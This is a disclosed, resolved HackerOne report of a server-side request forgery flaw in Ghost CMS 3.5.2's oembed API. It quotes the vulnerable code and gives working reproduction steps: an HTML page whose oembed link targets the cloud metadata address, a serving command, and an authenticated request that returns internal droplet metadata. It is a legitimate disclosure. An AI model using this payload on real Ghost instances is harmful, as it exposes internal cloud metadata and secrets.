Server-Side Request Forgery (SSRF) in Ghost CMS

Disclosed: 2020-03-09 12:21:11 By whoareme To nodejs-ecosystem
Medium
Vulnerability Details
I would like to report about SSRF vulnerability in CMS Ghost blog It allows attacker able to send a crafted GET request from a vulnerable web application # Module **module name:** ghost **version:** 3.5.2 **npm page:** `https://www.npmjs.com/package/ghost` **website page** `https://ghost.org/` ## Module Description Ghost is the world’s most popular open source headless Node.js CMS. ## Module Stats 4,812 weekly downloads This CMS is used around 512,000 times for creating Blogs in 2018 according to Ghost statics. Currently the biggest customers of this blog are: Apple, Elon Musk's OpenAI team, Tinder, DigitalOcean, DuckDuckGo, Mozilla, Airtable, Revolt, etc. # Vulnerability Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a CMS Ghost Blog instance's to internal / external network. ## Vulnerability Description CMS Ghost allows publishers to set up embed content from many sources (like Youtube, Twitter, Instagram, etc). F713079 When click you click on the “Other…” button you can see the following input. F713080 This input are send request to the route which is vulnerable for the SSRF attack. Let's discover it! When you try to pass some URL into this input we receive response like that: ``` GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed ``` F713081 In my case I trying to receive DigitalOcean MetaData from my server. But, sadly In that moment we receive only validation error. That’s because responsible for that function [query()](https://github.com/TryGhost/Ghost/blob/master/core/server/api/canary/oembed.js#L145) doesn’t receive any content from function fetchOembedData(). ```javascript File: /Ghost/core/server/api/canary/oembed.js module.exports = { docName: 'oembed', read: { permissions: false, data: [ 'url', 'type' ], options: [], query({data}) { let {url, type} = data; if (type === 'bookmark') { return fetchBookmarkData(url); } return fetchOembedData(url).then((response) => { if (!response && !type) { return fetchBookmarkData(url); } return response; }).then((response) => { if (!response) { return unknownProvider(url); } return response; }).catch(() => { return unknownProvider(url); }); } } }; ``` If we add breakpoint in fetchOembedData() function. And when will go across all lines of code in this function. We will notice interesting function that is call [getOembedUrlFromHTML()](https://github.com/TryGhost/Ghost/blob/master/core/server/api/canary/oembed.js#L109) ```javascript File: /Ghost/core/server/api/canary/oembed.js function fetchOembedData(url) { let provider; ({url, provider} = findUrlWithProvider(url)); if (provider) { return knownProvider(url); } return request(url, { method: 'GET', timeout: 2 * 1000, followRedirect: true, headers: { 'user-agent': 'Ghost(https://github.com/TryGhost/Ghost)' } }).then((response) => { if (response.url !== url) { ({url, provider} = findUrlWithProvider(response.url)); } if (provider) { return knownProvider(url); } const oembedUrl = getOembedUrlFromHTML(response.body); if (oembedUrl) { return request(oembedUrl, { method: 'GET', json: true }).then((response) => { return response.body; }).catch(() => {}); } }); } ``` This [function](https://github.com/TryGhost/Ghost/blob/master/core/server/api/canary/oembed.js#L70) is responsible for getting oEmbed URL from external resources. ```javascript File: /Ghost/core/server/api/canary/oembed.js const getOembedUrlFromHTML = (html) => { return cheerio('link[type="application/json+oembed"]', html).attr('href'); }; ``` >"oEmbed is a format for allowing an embedded representation of a URL on third party sites. The simple API allows a website to display embedded content (such as photos or videos) when a user posts a link to that resource, without having to parse the resource directly." And here we can notice before and after executing getOembedUrlFromHTML() function don’t exist any validation which can prevent against from the SSRF attacks. ## Steps To Reproduce: Currently, we know how we can bypass validation in vulnerable route and now we can easily create exploit for this. First of all, we should create an HTML page with "link[type="application/json+oembed”]” malicious URL which we would like to discover: ``` <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Security Testing</title> <link rel="alternate" type="application/json+oembed" href="http://169.254.169.254/metadata/v1.json"/> </head> <body></body> </html> ``` And serve this page by the Python SimpleHTTPServer module: ```python -m SimpleHTTPServer 8000``` If your target is located in not your local network you can use ngrok library for creating a tunnel to your HTML page. And send the following request with publisher Cookies ``` GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed HTTP/1.1 Host: YOUR_WEBSITE Connection: keep-alive Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest X-Ghost-Version: 3.5 App-Pragma: no-cache User-Agent: Mozilla/5.0 Content-Type: application/json; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: en-US; Cookie: ghost-admin-api-session=YOUR_SESSION ``` And we finally receive a response from the internal DigitalOcean service with my Droplet MetaData. SSRF vulnerability is working! 🥳 F713098 ## Supporting Material/References: - OS: macOS current - Node.js: 10.15.2 - NPM: 6.11.3 # Wrap up - I contacted the maintainer to let them know: Yes - I opened an issue in the related repository: No ## Impact Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a Ghost Blog instance's to internal / external network.
Actions
View on HackerOne
Report Stats
  • Report ID: 793704
  • State: Closed
  • Substate: resolved
  • Upvotes: 40
Share this report